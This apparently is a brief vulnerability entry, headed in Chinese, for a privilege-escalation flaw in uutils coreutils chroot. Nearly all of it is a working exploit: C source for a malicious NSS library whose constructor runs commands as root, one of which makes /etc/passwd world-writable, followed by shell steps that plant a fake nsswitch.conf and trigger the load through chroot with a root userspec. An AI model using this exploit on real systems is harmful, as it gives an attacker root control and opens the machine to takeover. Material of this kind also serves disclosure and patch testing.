CVE-2026-35368 uutils coreutils 权限提升漏洞

// malicious_nss.c - Compile with: gcc -shared -fPIC -o libnss_exploit.so.2 malicious_nss.c #include <stdlib.h> // Constructor attribute to run code upon library loading __attribute__((constructor)) void init() { // Malicious actions to be executed as root system("chmod 777 /etc/passwd"); system("id > /tmp/poc_success.txt"); } /* * Exploit Setup (Bash): * 1. mkdir -p /tmp/fake_root/lib /tmp/fake_root/etc * 2. cp libnss_exploit.so.2 /tmp/fake_root/lib/ * 3. echo "passwd: files exploit" > /tmp/fake_root/etc/nsswitch.conf * 4. /path/to/uutils/chroot --userspec=root:root /tmp/fake_root /bin/sh */